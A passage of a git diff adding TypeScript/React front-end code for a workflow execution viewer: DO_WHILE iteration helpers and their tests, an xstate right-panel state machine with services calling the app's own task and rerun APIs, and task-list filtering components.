5; 5, 4, 1 are missing + const tasks = [ + { iteration: 3, status: "COMPLETED" }, + { iteration: 2, status: "COMPLETED" }, + ]; + const result = fillIterationPlaceholders( + tasks, + 5, + "loop_ref", + WORKFLOW_TASK, + ); + expect(result).toHaveLength(5); + const iterations = result.map((r) => r.iteration); + expect(iterations).toEqual([5, 4, 3, 2, 1]); + // placeholders for 5, 4, 1 + expect(result.filter((r) => (r as any)._summarized)).toHaveLength(3); + }); + + it("placeholders carry correct metadata", () => { + const result = fillIterationPlaceholders( + [TASK_A], + 3, + "loop_ref", + WORKFLOW_TASK, + ); + const placeholder = result.find((r) => (r as any)._summarized); + expect(placeholder).toBeDefined(); + expect(placeholder).toMatchObject({ + _summarized: true, + _parentDoWhileRef: "loop_ref", + _totalIterations: 3, + workflowTask: WORKFLOW_TASK, + status: "COMPLETED", + }); + }); + + it("result is sorted descending by iteration number", () => { + // deliberately out of order input; totalIterations=4, have 3 and 2, missing 4 and 1 + const tasks = [ + { iteration: 2, status: "COMPLETED" }, + { iteration: 3, status: "COMPLETED" }, + ]; + const result = fillIterationPlaceholders( + tasks, + 4, + "loop_ref", + WORKFLOW_TASK, + ); + const iterations = result.map((r) => r.iteration); + expect(iterations).toEqual([4, 3, 2, 1]); + for (let i = 0; i < iterations.length - 1; i++) { + expect(iterations[i]).toBeGreaterThan(iterations[i + 1]!); + } + }); + + it("returns empty array when loopOver is empty", () => { + const result = fillIterationPlaceholders([], 5, "loop_ref", WORKFLOW_TASK); + expect(result).toHaveLength(0); + }); + + it("does not add duplicates when all iterations are present", () => { + const tasks = [3, 2, 1].map((n) => ({ iteration: n, status: "COMPLETED" })); + const result = fillIterationPlaceholders(tasks, 3, "ref", WORKFLOW_TASK); + const iterations = result.map((r) => r.iteration); + expect(new Set(iterations).size).toBe(3); + }); + + it("accepts undefined parentDoWhileRef", () => { + const result = fillIterationPlaceholders( + [TASK_A], + 2, + undefined, + WORKFLOW_TASK, + ); + const placeholder = result.find((r) => (r as any)._summarized); + expect(placeholder).toMatchObject({ _parentDoWhileRef: undefined }); + }); +}); diff --git a/ui-next/src/pages/execution/RightPanel/iterationHelpers.ts b/ui-next/src/pages/execution/RightPanel/iterationHelpers.ts new file mode 100644 index 0000000..89c868b --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/iterationHelpers.ts @@ -0,0 +1,116 @@ +/** + * Pure helper functions for DO_WHILE iteration UI logic. + * + * All functions here are free of React and side-effects so they can be + * imported and tested directly without a component harness. + */ + +// --------------------------------------------------------------------------- +// Jump-to autocomplete suggestions +// --------------------------------------------------------------------------- + +/** + * Given a numeric string prefix typed by the user and the total iteration + * count, returns up to 6 iteration numbers that start with that prefix. + * + * Strategy: exact match first, then prefix-scaled by powers of 10. + * e.g. prefix="5", max=350 → [5, 50, 51, 52, 53, 54] + * e.g. prefix="35", max=350 → [35, 350] + */ +export function buildSuggestions(prefix: string, max: number): number[] { + if (!prefix || !/^\d+$/.test(prefix)) return []; + const base = parseInt(prefix, 10); + if (base < 1 || base > max) return []; + + const results: number[] = []; + if (base <= max) results.push(base); + + let mult = 10; + while (results.length < 6) { + const start = base * mult; + if (start > max) break; + const end = Math.min((base + 1) * mult - 1, max); + for (let i = start; i <= end && results.length < 6; i++) results.push(i); + mult *= 10; + } + return results; +} + +// --------------------------------------------------------------------------- +// Page calculation for random-access fetches +// --------------------------------------------------------------------------- + +/** + * Calculates the `start` offset (zero-based index into the server's + * descending iteration list) for the page that contains `iterationNum`. + * + * The server returns iterations newest-first, so iteration N is at index + * (totalHits - N) in the full list. + * + * Returns `null` if the iteration is out of range. + */ +export function pageStartForIteration( + iterationNum: number, + totalHits: number, + pageSize: number, +): number | null { + if (iterationNum < 1 || iterationNum > totalHits || totalHits === 0) + return null; + const index = totalHits - iterationNum; + return Math.floor(index / pageSize) * pageSize; +} + +// --------------------------------------------------------------------------- +// Placeholder filling for pruned iterations +// --------------------------------------------------------------------------- + +export interface IterationPlaceholder { + iteration: number; + status: string; + _summarized: true; + _parentDoWhileRef: string | undefined; + _totalIterations: number; + workflowTask: unknown; +} + +/** + * Given the task objects the server returned for an inner DO_WHILE task + * (`loopOver`, newest-first) and the authoritative total iteration count from + * the parent DO_WHILE task, returns a full descending list of tasks by filling + * missing iterations with lightweight `_summarized: true` placeholders. + * + * When the server has pruned older iteration records (keepLastN / large loops), + * only the most recent N tasks appear in `loopOver`. This function restores + * the full count so the UI can show the complete iteration history. + */ +export function fillIterationPlaceholders( + loopOver: T[], + totalIterations: number, + parentDoWhileRef: string | undefined, + workflowTask: unknown, +): (T | IterationPlaceholder)[] { + if (!loopOver.length || loopOver.length >= totalIterations) { + return [...loopOver].sort( + (a, b) => (b.iteration ?? 0) - (a.iteration ?? 0), + ); + } + + const existingNums = new Set(loopOver.map((t) => t.iteration ?? 0)); + const result: (T | IterationPlaceholder)[] = [...loopOver]; + + for (let i = totalIterations; i >= 1; i--) { + if (!existingNums.has(i)) { + result.push({ + iteration: i, + status: "COMPLETED", + _summarized: true, + _parentDoWhileRef: parentDoWhileRef, + _totalIterations: totalIterations, + workflowTask, + }); + } + } + + result.sort((a, b) => (b.iteration ?? 0) - (a.iteration ?? 0)); + return result; +} diff --git a/ui-next/src/pages/execution/RightPanel/state/actions.ts b/ui-next/src/pages/execution/RightPanel/state/actions.ts new file mode 100644 index 0000000..fb85cb2 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/actions.ts @@ -0,0 +1,108 @@ +import { assign, sendParent, DoneInvokeEvent, DoneEvent } from "xstate"; +import { + ChangeCurrentTabEvent, + ClearErrorMessageEvent, + RightPanelContext, + SetSelectedTaskEvent, + SetUpdatedExecutionEvent, + UpdateTaskLogsEvent, +} from "./types"; +import { ExecutionTask } from "types"; +import { ExecutionActionTypes } from "../../state/types"; +import { taskWithLatestIteration } from "pages/execution/helpers"; + +export const persistTaskDetails = assign< + RightPanelContext, + DoneInvokeEvent +>({ + taskDetails: (_, { data }) => data, +}); + +export const persistSelectedTask = assign< + RightPanelContext, + SetSelectedTaskEvent +>({ + selectedTask: (_, { selectedTask }) => selectedTask, +}); + +export const notifyTaskUpdateToParent = sendParent( + ExecutionActionTypes.REFETCH, +); + +export const notifySelectedTaskUpdateToParent = sendParent< + RightPanelContext, + SetSelectedTaskEvent +>((ctx, _event) => { + return { + type: ExecutionActionTypes.UPDATE_TASKID_IN_URL, + selectedTask: ctx.selectedTask, + }; +}); + +export const sendDoWhileIterationToParent = sendParent< + RightPanelContext, + DoneEvent +>((_ctx, { data }) => { + return { + type: ExecutionActionTypes.SET_DO_WHILE_ITERATION, + data: data, + }; +}); + +export const sendSelectedTaskToParent = sendParent< + RightPanelContext, + SetSelectedTaskEvent +>((_ctx, { selectedTask }) => { + return { + type: ExecutionActionTypes.UPDATE_SELECTED_TASK, + selectedTask: selectedTask, + }; +}); + +export const updateTaskLogs = assign( + (__context: any, event) => { + return { + taskLogs: event?.data, + }; + }, +); +export const persistError = assign< + RightPanelContext, + DoneInvokeEvent<{ + errorDetails: any; + message: string; + }> +>({ + error: (_context, { data }) => data.errorDetails?.message, +}); + +export const clearErrorMessage = assign< + RightPanelContext, + ClearErrorMessageEvent +>(() => { + return { + error: undefined, + }; +}); + +export const updateCurrentTab = assign< + RightPanelContext, + ChangeCurrentTabEvent +>({ + currentTab: (__, { currentTab }) => currentTab, +}); + +export const extractUpdates = assign< + RightPanelContext, + SetUpdatedExecutionEvent +>((context, { execution, executionStatusMap }) => { + return { + executionStatusMap, + selectedTask: + taskWithLatestIteration( + execution.tasks, + context.selectedTask?.referenceTaskName, + context.selectedTask?.taskId, + ) || context.selectedTask, + }; +}); diff --git a/ui-next/src/pages/execution/RightPanel/state/guards.ts b/ui-next/src/pages/execution/RightPanel/state/guards.ts new file mode 100644 index 0000000..a8fd54b --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/guards.ts @@ -0,0 +1,33 @@ +import * as TabsList from "pages/execution/state/constants"; +import { RightPanelContext } from "./types"; +import isNil from "lodash/isNil"; + +const UPDATABLE_STATUSES = ["IN_PROGRESS", "SCHEDULED"]; + +export const isSelectedTaskStatusUpdatable = ({ + selectedTask, + taskDetails, +}: RightPanelContext) => { + if (selectedTask != null) { + const { status } = !isNil(selectedTask?.status) + ? selectedTask + : taskDetails!; + + return UPDATABLE_STATUSES.includes(status); + } +}; + +export const isSummaryTab = ({ currentTab }: RightPanelContext) => + currentTab === TabsList.SUMMARY_TAB; + +export const isInputTab = ({ currentTab }: RightPanelContext) => + currentTab === TabsList.INPUT_TAB; + +export const isOutputTab = ({ currentTab }: RightPanelContext) => + currentTab === TabsList.OUTPUT_TAB; + +export const isLogsTab = ({ currentTab }: RightPanelContext) => + currentTab === TabsList.LOGS_TAB; + +export const isJsonTab = ({ currentTab }: RightPanelContext) => + currentTab === TabsList.JSON_TAB; diff --git a/ui-next/src/pages/execution/RightPanel/state/hook.ts b/ui-next/src/pages/execution/RightPanel/state/hook.ts new file mode 100644 index 0000000..72cb963 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/hook.ts @@ -0,0 +1,163 @@ +import { useSelector } from "@xstate/react"; +import { useMemo } from "react"; +import { useQueryState } from "react-router-use-location-state"; +import { DoWhileSelection, ExecutionTask } from "types/Execution"; +import { ActorRef, State } from "xstate"; +import { + RightPanelContext, + RightPanelContextEventTypes, + RightPanelEvents, + SetSelectedTaskEvent, +} from "./types"; +import { TaskStatus } from "types/TaskStatus"; +import { fillIterationPlaceholders } from "../iterationHelpers"; + +export const useRightPanelActor = ( + rightPanelActor: ActorRef, +) => { + const send = rightPanelActor.send; + const selectedTask = useSelector( + rightPanelActor, + (state: State) => { + const selectedTask = state.context.selectedTask; + return selectedTask; + }, + ); + + const [_taskId, handleTaskId] = useQueryState("taskId", ""); + const executionStatusMap = useSelector( + rightPanelActor, + (state: State) => state.context.executionStatusMap, + ); + + const selectedTaskInStatusMap = useMemo(() => { + if (selectedTask != null && executionStatusMap != null) { + const maybeTask = + executionStatusMap[selectedTask.workflowTask.taskReferenceName]; + return maybeTask; + } + }, [executionStatusMap, selectedTask]); + + const parentDoWhileRef = useMemo(() => { + const parentLoop = selectedTaskInStatusMap?.parentLoop as any; + return parentLoop?.referenceTaskName as string | undefined; + }, [selectedTaskInStatusMap]); + + const retryIterationOptions = useMemo(() => { + const loopOver = selectedTaskInStatusMap?.loopOver; + if (!loopOver?.length) return loopOver; + + const parentLoop = selectedTaskInStatusMap?.parentLoop as any; + const totalIterations = parentLoop?.iteration as number | undefined; + if (!totalIterations) { + return [...loopOver].reverse(); + } + + return fillIterationPlaceholders( + loopOver, + totalIterations, + parentDoWhileRef, + selectedTaskInStatusMap?.workflowTask, + ); + }, [selectedTaskInStatusMap, parentDoWhileRef]); + const maybeSiblings = selectedTaskInStatusMap?.related?.siblings || []; + + const isSelectedTaskInProgressStatus = useSelector( + rightPanelActor, + (state: State) => + state.context?.selectedTask?.status && + [ + TaskStatus.PENDING, + TaskStatus.SCHEDULED, + TaskStatus.IN_PROGRESS, + ].includes(state?.context?.selectedTask?.status), + ); + // this condition check is required as there is a backend bug which returns the previous iterations outputdata when rerunning from a task in progress status + const isSelectedTaskIsARetry = useSelector( + rightPanelActor, + (state: State) => + state.context?.selectedTask?.retryCount && + state.context?.selectedTask?.retryCount > 0, + ); + + const executionId = useSelector( + rightPanelActor, + (state: State) => state.context.executionId, + ); + const authHeaders = useSelector( + rightPanelActor, + (state: State) => state.context.authHeaders, + ); + + return [ + { + selectedTask, + retryIterationOptions, + parentDoWhileRef, + maybeSiblings, + executionId, + authHeaders, + isIteration: useSelector( + rightPanelActor, + (state: State) => + state.context.selectedTask?.loopOverTask, + ), + errorMessage: useSelector( + rightPanelActor, + (state: State) => state.context.error, + ), + taskLogs: useSelector( + rightPanelActor, + (state: State) => state?.context?.taskLogs, + ), + currentTab: useSelector( + rightPanelActor, + (state: State) => state?.context?.currentTab, + ), + isReRunFromTaskInProgress: + isSelectedTaskInProgressStatus && isSelectedTaskIsARetry, + }, + { + handleClosePanel: () => { + send({ + type: RightPanelContextEventTypes.CLOSE_RIGHT_PANEL, + }); + }, + handleChangeTaskStatus: (status: string, body: string) => { + send({ + type: RightPanelContextEventTypes.UPDATE_SELECTED_TASK_STATUS, + payload: { + status, + body, + }, + }); + }, + handleReRunRequest: () => { + send({ + type: RightPanelContextEventTypes.RE_RUN_WORKFLOW_FROM_TASK, + }); + }, + clearErrorMessage: () => { + send({ + type: RightPanelContextEventTypes.CLEAR_ERROR_MESSAGE, + }); + }, + handleSelectTask: (selectedTask: ExecutionTask) => { + const selectedTaskEvent: SetSelectedTaskEvent = { + type: RightPanelContextEventTypes.SET_SELECTED_TASK, + selectedTask: selectedTask, + }; + if (selectedTask?.taskId) { + handleTaskId(selectedTask?.taskId); + } + send(selectedTaskEvent); + }, + handleSelectDoWhileIteration: (data: DoWhileSelection) => { + send({ + type: RightPanelContextEventTypes.SET_DO_WHILE_ITERATION, + data: data, + }); + }, + }, + ] as const; +}; diff --git a/ui-next/src/pages/execution/RightPanel/state/index.ts b/ui-next/src/pages/execution/RightPanel/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/execution/RightPanel/state/machine.ts b/ui-next/src/pages/execution/RightPanel/state/machine.ts new file mode 100644 index 0000000..53e79f1 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/machine.ts @@ -0,0 +1,196 @@ +import { createMachine } from "xstate"; +import { + RightPanelContext, + RightPanelContextEventTypes, + RightPanelStates, + RightPanelEvents, +} from "./types"; + +import * as services from "./services"; +import * as actions from "./actions"; +import * as guards from "./guards"; +import { ExecutionActionTypes } from "pages/execution/state/types"; +import { SUMMARY_TAB } from "pages/execution/state/constants"; + +export const rightPanelMachine = createMachine< + RightPanelContext, + RightPanelEvents +>( + { + id: "rightPanelMachine", + predictableActionArguments: true, + initial: "init", + context: { + selectedTask: undefined, + authHeaders: undefined, + taskLogs: undefined, + currentTab: SUMMARY_TAB, + executionStatusMap: undefined, + }, + states: { + init: { + type: "parallel", + states: { + main: { + initial: RightPanelStates.IDLE, + states: { + [RightPanelStates.IDLE]: { + on: { + [RightPanelContextEventTypes.SET_SELECTED_TASK]: { + actions: [ + "persistSelectedTask", + "sendSelectedTaskToParent", + ], + }, + [RightPanelContextEventTypes.CLOSE_RIGHT_PANEL]: { + target: RightPanelStates.END, + }, + [RightPanelContextEventTypes.SET_UPDATED_EXECUTION]: { + actions: [ + "extractUpdates", + "notifySelectedTaskUpdateToParent", + ], + }, + [RightPanelContextEventTypes.RE_RUN_WORKFLOW_FROM_TASK]: { + target: RightPanelStates.RERUN_WORKFLOW_FROM_TASK, + }, + [RightPanelContextEventTypes.CLEAR_ERROR_MESSAGE]: { + actions: ["clearErrorMessage"], + }, + [RightPanelContextEventTypes.SET_DO_WHILE_ITERATION]: { + actions: ["sendDoWhileIterationToParent"], + }, + }, + }, + + [RightPanelStates.RERUN_WORKFLOW_FROM_TASK]: { + invoke: { + id: "reRunWoflowFromTaskService", + src: "reRunWoflowFromTask", + onDone: { + actions: ["notifyTaskUpdateToParent"], + target: RightPanelStates.IDLE, + }, + onError: { + actions: ["persistError"], + target: RightPanelStates.IDLE, + }, + }, + }, + [RightPanelStates.END]: { + always: { + target: "#rightPanelMachine.final", + }, + }, + }, + }, + [RightPanelStates.DETAILED_SECTION]: { + initial: RightPanelStates.SUMMARY, + on: { + [RightPanelContextEventTypes.CHANGE_CURRENT_TAB]: { + target: ".addressChangeTab", + actions: ["updateCurrentTab"], + }, + }, + states: { + addressChangeTab: { + always: [ + { + target: RightPanelStates.SUMMARY, + cond: "isSummaryTab", + }, + { + target: RightPanelStates.INPUT, + cond: "isInputTab", + }, + { + target: RightPanelStates.OUTPUT, + cond: "isOutputTab", + }, + { + target: RightPanelStates.LOGS, + cond: "isLogsTab", + }, + { + target: RightPanelStates.JSON, + cond: "isJsonTab", + }, + { target: RightPanelStates.DEFINITION }, + ], + }, + [RightPanelStates.SUMMARY]: { + initial: "summaryIdle", + on: { + [RightPanelContextEventTypes.UPDATE_SELECTED_TASK_STATUS]: { + target: `.${RightPanelStates.UPDATE_TASK_STATUS}`, + cond: "isSelectedTaskStatusUpdatable", + }, + }, + states: { + summaryIdle: {}, + [RightPanelStates.UPDATE_TASK_STATUS]: { + invoke: { + id: "changeTaskStatus", + src: "updateTaskState", + onDone: { + actions: ["notifyTaskUpdateToParent"], + target: "summaryIdle", + }, + onError: { + actions: ["persistError"], + target: "summaryIdle", + }, + }, + }, + }, + }, + [RightPanelStates.INPUT]: {}, + [RightPanelStates.OUTPUT]: {}, + [RightPanelStates.LOGS]: { + initial: RightPanelStates.FETCH_SELECTED_TASK_LOGS, + on: { + [ExecutionActionTypes.FETCH_FOR_LOGS]: { + target: `.${RightPanelStates.FETCH_SELECTED_TASK_LOGS}`, + }, + [RightPanelContextEventTypes.SET_SELECTED_TASK]: { + target: `.${RightPanelStates.FETCH_AFTER}`, + }, + }, + states: { + logsIdle: {}, + [RightPanelStates.FETCH_SELECTED_TASK_LOGS]: { + invoke: { + id: "getTaskLogs", + src: "fetchTaskLogs", + onDone: { + actions: ["updateTaskLogs"], + target: "logsIdle", + }, + }, + }, + [RightPanelStates.FETCH_AFTER]: { + after: { + 300: { + target: RightPanelStates.FETCH_SELECTED_TASK_LOGS, + }, + }, + }, + }, + }, + [RightPanelStates.JSON]: {}, + [RightPanelStates.DEFINITION]: {}, + }, + }, + }, + }, + final: { + type: "final", + }, + }, + }, + { + services, + actions: actions as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/execution/RightPanel/state/services.ts b/ui-next/src/pages/execution/RightPanel/state/services.ts new file mode 100644 index 0000000..4b3cdde --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/services.ts @@ -0,0 +1,110 @@ +import { RightPanelContext, UpdateSelectedTaskStatus } from "./types"; +import { fetchWithContext } from "plugins/fetch"; +import { getErrors } from "utils"; + +// This was rolled back since it does not work for COMPLETED workflows + +/* export const fetchForTaskDetailsService = async ({ */ +/* taskId, */ +/* authHeaders: headers, */ +/* }: RightPanelContext) => { */ +/* const url = `tasks/${taskId}`; */ +/* const result = await queryClient.fetchQuery([fetchContext.stack, url], () => */ +/* fetchWithContext(url, fetchContext, { headers }) */ +/* ); */ +/* return result; */ +/* }; */ + +export const updateTaskState = async ( + { executionId, selectedTask, authHeaders }: RightPanelContext, + event: any, +) => { + const { + payload: { status, body = {} }, + } = event as UpdateSelectedTaskStatus; + const { referenceTaskName } = selectedTask!; + const url = `/tasks/${executionId}/${referenceTaskName}/${status}?workerid=conductor-ui`; + try { + const result = await fetchWithContext( + url, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + + body, + }, + true, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; + +export const fetchTaskLogs = async ({ + authHeaders, + selectedTask, +}: RightPanelContext) => { + if (selectedTask?.taskId === undefined) { + return Promise.reject({ + originalError: "No Selected Task", + errorDetails: { message: "No Selected Task" }, + }); + } + const path = `/tasks/${selectedTask?.taskId}/log`; + try { + const result = await fetchWithContext( + path, + {}, + { + method: "GET", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + return Promise.reject(error); + } +}; +export const reRunWoflowFromTask = async ({ + authHeaders, + executionId, + selectedTask, +}: RightPanelContext) => { + if (!selectedTask) { + return Promise.reject({ + originalError: "No Selected Task", + errorDetails: { message: "No Selected Task" }, + }); + } + const url = `/workflow/${executionId}/rerun`; + try { + const result = await fetchWithContext( + url, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify({ + reRunFromTaskId: selectedTask.taskId, + }), + }, + true, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; diff --git a/ui-next/src/pages/execution/RightPanel/state/types.ts b/ui-next/src/pages/execution/RightPanel/state/types.ts new file mode 100644 index 0000000..43cccdb --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/state/types.ts @@ -0,0 +1,111 @@ +import { DoneInvokeEvent } from "xstate"; +import { + ExecutionTask, + AuthHeaders, + TaskLog, + WorkflowExecution, + DoWhileSelection, +} from "types"; +import { StatusMap } from "pages/execution/state/StatusMapTypes"; + +export enum RightPanelStates { + IDLE = "IDLE", + UPDATE_TASK_STATUS = "UPDATE_TASK_STATUS", + FETCH_SELECTED_TASK_LOGS = "FETCH_SELECTED_TASK_LOGS", + FETCH_AFTER = "FETCH_AFTER", + RERUN_WORKFLOW_FROM_TASK = "RERUN_WORKFLOW_FROM_TASK", + DETAILED_SECTION = "DETAILED_SECTION", + END = "END", + SUMMARY = "SUMMARY", + INPUT = "INPUT", + OUTPUT = "OUTPUT", + LOGS = "LOGS", + JSON = "JSON", + DEFINITION = "DEFINITION", +} + +export enum RightPanelContextEventTypes { + SET_SELECTED_TASK = "SET_SELECTED_TASK", + CLOSE_RIGHT_PANEL = "CLOSE_RIGHT_PANEL", + UPDATE_SELECTED_TASK_STATUS = "UPDATE_SELECTED_TASK_STATUS", + SET_UPDATED_EXECUTION = "SET_UPDATED_EXECUTION", + FETCH_FOR_LOGS = "FETCH_FOR_LOGS", + RE_RUN_WORKFLOW_FROM_TASK = "RE_RUN_WORKFLOW_FROM_TASK", + CLEAR_ERROR_MESSAGE = "CLEAR_ERROR_MESSAGE", + CHANGE_CURRENT_TAB = "CHANGE_CURRENT_TAB", + SET_DO_WHILE_ITERATION = "SET_DO_WHILE_ITERATION", +} + +export type UpdateSelectedTaskStatus = { + type: RightPanelContextEventTypes.UPDATE_SELECTED_TASK_STATUS; + payload: { + status: string; + body: string; + }; +}; + +export type ReRunWorkflowFromTaskEvent = { + type: RightPanelContextEventTypes.RE_RUN_WORKFLOW_FROM_TASK; +}; + +export type SelectedTaskType = ExecutionTask & { + selectedIteration?: ExecutionTask; + iteration?: number; +}; + +export interface RightPanelContext { + selectedTask?: ExecutionTask; + executionStatusMap?: StatusMap; + taskDetails?: ExecutionTask; + authHeaders?: AuthHeaders; + executionId?: string; + taskLogs?: TaskLog[]; + error?: string; + currentTab: number; +} + +export type SetSelectedTaskEvent = { + type: RightPanelContextEventTypes.SET_SELECTED_TASK; + selectedTask: ExecutionTask; +}; + +export type CloseRightPanelEvent = { + type: RightPanelContextEventTypes.CLOSE_RIGHT_PANEL; +}; + +export type UpdateTaskLogsEvent = { + type: RightPanelContextEventTypes.FETCH_FOR_LOGS; + data: TaskLog[]; +}; + +export type ClearErrorMessageEvent = { + type: RightPanelContextEventTypes.CLEAR_ERROR_MESSAGE; +}; + +export type ChangeCurrentTabEvent = { + type: RightPanelContextEventTypes.CHANGE_CURRENT_TAB; + currentTab: number; +}; + +export type SetUpdatedExecutionEvent = { + type: RightPanelContextEventTypes.SET_UPDATED_EXECUTION; + execution: WorkflowExecution; + executionStatusMap: StatusMap; +}; + +export type SetDoWhileIterationEvent = { + type: RightPanelContextEventTypes.SET_DO_WHILE_ITERATION; + data: DoWhileSelection; +}; + +export type RightPanelEvents = + | UpdateSelectedTaskStatus + | CloseRightPanelEvent + | UpdateTaskLogsEvent + | DoneInvokeEvent + | ReRunWorkflowFromTaskEvent + | ClearErrorMessageEvent + | SetSelectedTaskEvent + | SetUpdatedExecutionEvent + | ChangeCurrentTabEvent + | SetDoWhileIterationEvent; diff --git a/ui-next/src/pages/execution/RightPanel/useFullWorkflowQuery.ts b/ui-next/src/pages/execution/RightPanel/useFullWorkflowQuery.ts new file mode 100644 index 0000000..80bb013 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/useFullWorkflowQuery.ts @@ -0,0 +1,27 @@ +import { fetchExecutionFull } from "commonServices"; +import { useQuery } from "react-query"; +import { AuthHeaders } from "types/common"; + +/** + * Shared query for fetching the full (non-summarized) workflow execution. + * Both DoWhileIteration and InlineTaskIterations use the same cache key so + * only one network request is made regardless of which component triggers it. + */ +export function useFullWorkflowQuery( + executionId: string | undefined, + authHeaders: AuthHeaders | undefined, + enabled: boolean, +) { + return useQuery( + ["workflow-full", executionId], + () => + fetchExecutionFull({ + authHeaders: authHeaders as any, + executionId: executionId!, + }), + { + enabled: enabled && !!executionId, + staleTime: Infinity, + }, + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/useSummarize.ts b/ui-next/src/pages/execution/RightPanel/useSummarize.ts new file mode 100644 index 0000000..a70874a --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/useSummarize.ts @@ -0,0 +1,40 @@ +import { useState } from "react"; + +export interface UseSummarizeResult { + isSummarized: boolean; + confirmOpen: boolean; + handleToggleChange: (checked: boolean) => void; + handleConfirm: () => void; + handleCancel: () => void; +} + +/** + * Manages the summarize toggle and the confirmation dialog state shared by + * DoWhileIteration and InlineTaskIterations. + * + * Starts summarized. When the user disables summarize, a confirmation dialog + * is shown before fetching the full workflow. Re-enabling summarize is + * immediate with no confirmation needed. The state persists across task + * navigation for the lifetime of the RightPanel. + */ +export function useSummarize(): UseSummarizeResult { + const [isSummarized, setIsSummarized] = useState(true); + const [confirmOpen, setConfirmOpen] = useState(false); + + return { + isSummarized, + confirmOpen, + handleToggleChange: (checked: boolean) => { + if (checked) { + setIsSummarized(true); + } else { + setConfirmOpen(true); + } + }, + handleConfirm: () => { + setIsSummarized(false); + setConfirmOpen(false); + }, + handleCancel: () => setConfirmOpen(false), + }; +} diff --git a/ui-next/src/pages/execution/TaskList/StatusSelect.tsx b/ui-next/src/pages/execution/TaskList/StatusSelect.tsx new file mode 100644 index 0000000..495cf40 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/StatusSelect.tsx @@ -0,0 +1,84 @@ +import { Box, FormControl, MenuItem, useMediaQuery } from "@mui/material"; +import { FunctionComponent, useMemo } from "react"; + +import MuiCheckbox from "components/ui/MuiCheckbox"; +import StatusBadge from "components/StatusBadge"; +import { ConductorSelect } from "components/ui/inputs"; +import { Entries } from "types"; +import { SelectableStatus } from "./state"; + +interface StatusSelectProps { + onSelect: (selection?: SelectableStatus[]) => void; + value: any[]; + summary?: Record; +} + +const ALL = "ALL"; +const label = "Status Filter"; + +export const StatusSelect: FunctionComponent = ({ + onSelect, + value, + summary = {}, +}) => { + const isSmallWidth = useMediaQuery((theme: any) => + theme.breakpoints.down("sm"), + ); + + const options = useMemo( + () => + (Object.entries(summary) as Entries>) + .map( + ([statusId, amount]): { + statusId: SelectableStatus; + amount: number; + } => ({ + statusId, + amount, + }), + ) + .sort((a, b) => a.statusId.localeCompare(b.statusId)), + [summary], + ); + + const handleSelection = (event: any) => { + const eventValue = event.target.value; + onSelect(eventValue === ALL ? undefined : eventValue); + }; + + return ( + + + + Array.isArray(selected) && selected.length > 0 + ? selected.join(", ") + : ALL, + }} + sx={{ minWidth: "160px" }} + > + {options.map(({ statusId, amount }) => ( + + item === statusId) >= 0} + /> + + + ))} + + + + ); +}; diff --git a/ui-next/src/pages/execution/TaskList/TaskList.tsx b/ui-next/src/pages/execution/TaskList/TaskList.tsx new file mode 100644 index 0000000..2cbeaa4 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/TaskList.tsx @@ -0,0 +1,231 @@ +import { Box, Stack } from "@mui/material"; +import { DataTable } from "components"; +import { ColumnCustomType, LegacyColumn } from "components/ui/DataTable/types"; +import StatusBadge from "components/StatusBadge"; +import { FunctionComponent, useContext } from "react"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { colors } from "theme/tokens/variables"; +import { ExecutionTask } from "types"; +import { calculateDifferentTime } from "utils/utils"; +import { ActorRef } from "xstate"; +import { + SelectableStatus, + TaskListMachineEvents, + useTaskListActor, +} from "./state"; +import { StatusSelect } from "./StatusSelect"; +import { clickHandler, taskIdRenderer } from "pages/execution/componentHelpers"; + +const calculateExecutionTime = (startTime: number, endTime: number) => + new Date(endTime).getTime() - new Date(startTime).getTime(); + +const customSortForExecutionTime = ( + rowA: ExecutionTask, + rowB: ExecutionTask, +) => { + const executionTimeA = + rowA.startTime && rowA.endTime + ? calculateExecutionTime(rowA.startTime, rowA.endTime) + : 0; + const executionTimeB = + rowB.startTime && rowB.endTime + ? calculateExecutionTime(rowB.startTime, rowB.endTime) + : 0; + + return executionTimeA - executionTimeB; +}; + +export const MIN_DATE_WIDTH = "175px"; + +interface TaskListProps { + taskListActor: ActorRef; + executionAlert: string; +} + +export const TaskList: FunctionComponent = ({ + taskListActor, +}) => { + const [ + { taskListPage, statusFilter, totalHits, isFetching, rowsPerPage, summary }, + { + handleChangeStatus, + handleChangePage, + handleChangeRowsPerPage, + handleSelectTask, + }, + ] = useTaskListActor(taskListActor); + + const { mode } = useContext(ColorModeContext); + // const [{ expandDynamic }, { execution }] = useExecutionMachine(); + const taskDetailFields = [ + { + id: "seq", + name: "seq", + label: "Seq.", + minWidth: "50px", + maxWidth: "100px", + style: { whiteSpace: "nowrap", wordBreak: "keep-all" }, + tooltip: "The sequence number of the task", + }, + { + id: "taskId", + name: "taskId", + label: "Task Id", + minWidth: "130px", + maxWidth: "130px", + renderer: taskIdRenderer(clickHandler(handleSelectTask)), + tooltip: "The unique identifier of the task", + }, + { + id: "taskName", + name: "workflowTask.name", + label: "Task Name", + tooltip: "The name of the task", + }, + { + id: "referenceTaskName", + name: "referenceTaskName", + label: "Ref", + minWidth: "250px", + maxWidth: "350px", + tooltip: "The Reference Task Name", + }, + { + id: "taskType", + name: "workflowTask.type", + label: "Type", + 